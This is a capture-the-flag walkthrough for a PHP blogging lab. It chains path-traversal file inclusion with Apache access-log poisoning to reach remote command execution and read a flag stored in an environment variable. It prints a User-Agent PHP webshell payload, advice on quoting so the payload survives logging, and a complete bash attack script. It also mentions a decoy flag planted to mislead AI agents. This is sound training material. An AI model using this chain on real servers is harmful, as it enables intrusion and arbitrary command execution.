LinguaPress — LFI to RCE via Apache Log Poisoning
LinguaPress — LFI to RCE via Apache Log Poisoning
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: apache_access_log_inclusion, environment_variable_exfiltration, lfi_to_rce_via_log_poisoning, path_traversal_lfi, user_agent_php_injection
Summary
Walkthrough of the CUSTOM Web LinguaPress — LFI to RCE via Apache Log Poisoning. Task: PHP multilingual blogging platform with a language switcher that passes the lang GET parameter directly to include() without sanitization. Solution: Path traversal LFI (4 levels of ../) to read
Description
LinguaPress is a multilingual blogging platform that allows content creators to publish articles in multiple languages. The platform features a built-in language switcher, article management with categories and tags, a public-facing blog with search and comments, and an admin panel for content management. The goal is to find a way to read a secret flag file stored on the server. The platform supports English, French, and Spanish through a dynamic language loading system. Pay attention to how language files are referenced and loaded.
English summary: A PHP 8.1 multilingual blogging platform running on Apache/2.4 with mod_php behind nginx/1.25.5 reverse proxy on Alpine Linux. The platform uses a language switcher that loads language files via PHP's include() function. The lang GET parameter is passed directly to include() without sanitization, creating a Local File Inclusion (LFI) vulnerability. The flag is stored as a server environment variable, requiring Remote Code Execution (RCE) — not just file read — to retrieve it.
Credentials: user@test.com / password123, Admin: admin@linguapress.com / Lpr3ss#Adm!n2k
Tech Stack: PHP 8.1, Apache/2.4 with mod_php, nginx/1.25.5 reverse proxy, SQLite, Alpine Linux, Bulma CSS
Analysis
Language Switcher — LFI Vector
The language switcher generates URLs like:
/page?lang=en.php/page?lang=fr.php/page?lang=es.php
The lang parameter includes the .php extension directly in the URL, suggesting the server-side code does something like:
php read-only • copy allowedinclude("langs/" . $_GET['lang']);
This is a classic unsanitized include() pattern — the parameter value is concatenated directly into the file path with no validation, filtering, or extension appending.
Server Information Leak
An HTML comment in the page footer reveals critical server details:
html read-only • copy allowed<!-- System info: Apache/2.4 mod_php - logs at /var/log/apache2/ -->
This tells us:
- Apache/2.4 with mod_php — PHP code in included files will be executed (not just read)
- Log path — Apache access logs are at
/var/log/apache2/access.log
Decoy Flag Trap
The HTML source contains multiple instances of a fake flag:
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}
This decoy is embedded in HTML comments and hidden <div> elements, designed to trick automated scanners and AI agents into reporting a false positive. The real flag is NOT in the HTML source.
Real Flag Location
The actual flag is stored as a server environment variable (FLAG). The file /root/flag.txt may also contain it but is chmod 600 and owned by root, making it unreadable by the web server process. This means:
- Simple file read (LFI alone) is insufficient
- RCE is required to run
printenv FLAGor equivalent
Solution
Step 1: Confirm LFI via Path Traversal
Test path traversal with increasing directory depth. The langs/ directory is 4 levels deep from the filesystem root, so 4 levels of ../ are needed:
bash read-only • copy allowed# 3 levels — does NOT work (not deep enough) curl -s "$URL/page?lang=../../../etc/passwd" # 4 levels — SUCCESS curl -s "$URL/page?lang=../../../../etc/passwd"
The response includes /etc/passwd contents, confirming Alpine Linux (users with /bin/ash shell):
root:x:0:0:root:/root:/bin/ash
...
www-data:x:82:82:Linux User,,,:/home/www-data:/bin/ash
Step 2: Verify Apache Access Log is Readable
bash read-only • copy allowedcurl -s "$URL/page?lang=../../../../var/log/apache2/access.log"
The Apache access log is readable and contains User-Agent strings logged verbatim. This confirms both prerequisites for log poisoning:
- Log file is readable via LFI
- User-controlled data (User-Agent header) is written to the log without escaping
Step 3: Poison the Apache Access Log
Inject a PHP webshell into the User-Agent header:
bash read-only • copy allowedcurl -s "$URL/" -A "<?php system(\$_GET['cmd']); ?>"
This sends a request with the PHP payload as the User-Agent. Apache logs the full User-Agent string into access.log, embedding executable PHP code in the log file.
CRITICAL: The PHP payload must use single quotes around $_GET['cmd']:
php read-only • copy allowed<?php system($_GET['cmd']); ?> # CORRECT — single quotes <?php system($_GET["cmd"]); ?> # BROKEN — Apache escapes " to \"
Apache's mod_log_config escapes double quotes in logged header values (" → \"), which would cause a PHP parse error. Single quotes are NOT escaped by Apache, so the payload remains syntactically valid PHP when included.
Step 4: Trigger RCE and Read the Flag
Include the poisoned log file while passing a command via the cmd parameter:
bash read-only • copy allowedcurl -s "$URL/page?lang=../../../../var/log/apache2/access.log&cmd=printenv+FLAG"
How it works:
- PHP's
include()loadsaccess.logas if it were a PHP file - Most of the log is plain text (output as-is)
- When PHP encounters the
<?phptag in the poisoned User-Agent field, it enters PHP mode system($_GET['cmd'])executes withcmd=printenv FLAG- The
printenv FLAGcommand reads theFLAGenvironment variable - The flag value is output in the HTTP response
Full Attack Script
bash read-only • copy allowed#!/bin/bash URL="https://bbac0cea-03f5-4353-be48-35bebe3a393f.labs.hackadvisor.io" # Step 1: Confirm LFI echo "[*] Testing LFI..." curl -s "$URL/page?lang=../../../../etc/passwd" | head -5 # Step 2: Verify log access echo "[*] Checking log readability..." curl -s "$URL/page?lang=../../../../var/log/apache2/access.log" | tail -3 # Step 3: Poison the log with PHP webshell echo "[*] Poisoning access log..." curl -s "$URL/" -A "<?php system(\$_GET['cmd']); ?>" > /dev/null # Step 4: Execute command via log inclusion echo "[*] Extracting flag..." curl -s "$URL/page?lang=../../../../var/log/apache2/access.log&cmd=printenv+FLAG" | grep -oP 'FLAG\{[^}]+\}'
Key Takeaways / Lessons
- Mastering apache_access_log_inclusion, environment_variable_exfiltration, lfi_to_rce_via_log_poisoning, path_traversal_lfi, user_agent_php_injection was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-11 • CUSTOM • LinguaPress — LFI to RCE via Apache Log Poisoning • Difficulty: Medium